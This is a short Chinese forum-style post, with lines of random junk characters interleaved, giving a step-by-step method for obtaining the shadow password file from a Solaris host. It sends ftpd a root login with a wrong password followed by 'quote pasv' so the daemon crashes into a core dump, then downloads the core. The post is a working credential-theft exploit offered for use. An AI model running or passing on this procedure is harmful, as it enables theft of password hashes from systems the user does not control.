如何用FIP获取shadow口令文件

该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下：
8 ]* y. h% D9 j. t% G
1 ]" ?( I; \, i6 M3 M1.通过 ftp 正常登录到目的主机上

2.输入如下命令序列：
. K& O+ F: V8 U7 }
5 w( j. q# w7 o, B, I: ]ftp> user root wrongpasswd

ftp> quote pasv

6 ?6 c; S* p) g6 l4 J/ F" }( g0 n+ r3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。
) d& L# q! Y; L; m4 S  R
* C% v/ @$ J( N4 [4.再次进入FTP >get core
# E; P( ~' s$ D- [; z: U$ d
8 [1 {: x7 }. q( c0 c4 n4 d补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了
+ N4 }3 R* S7 d. X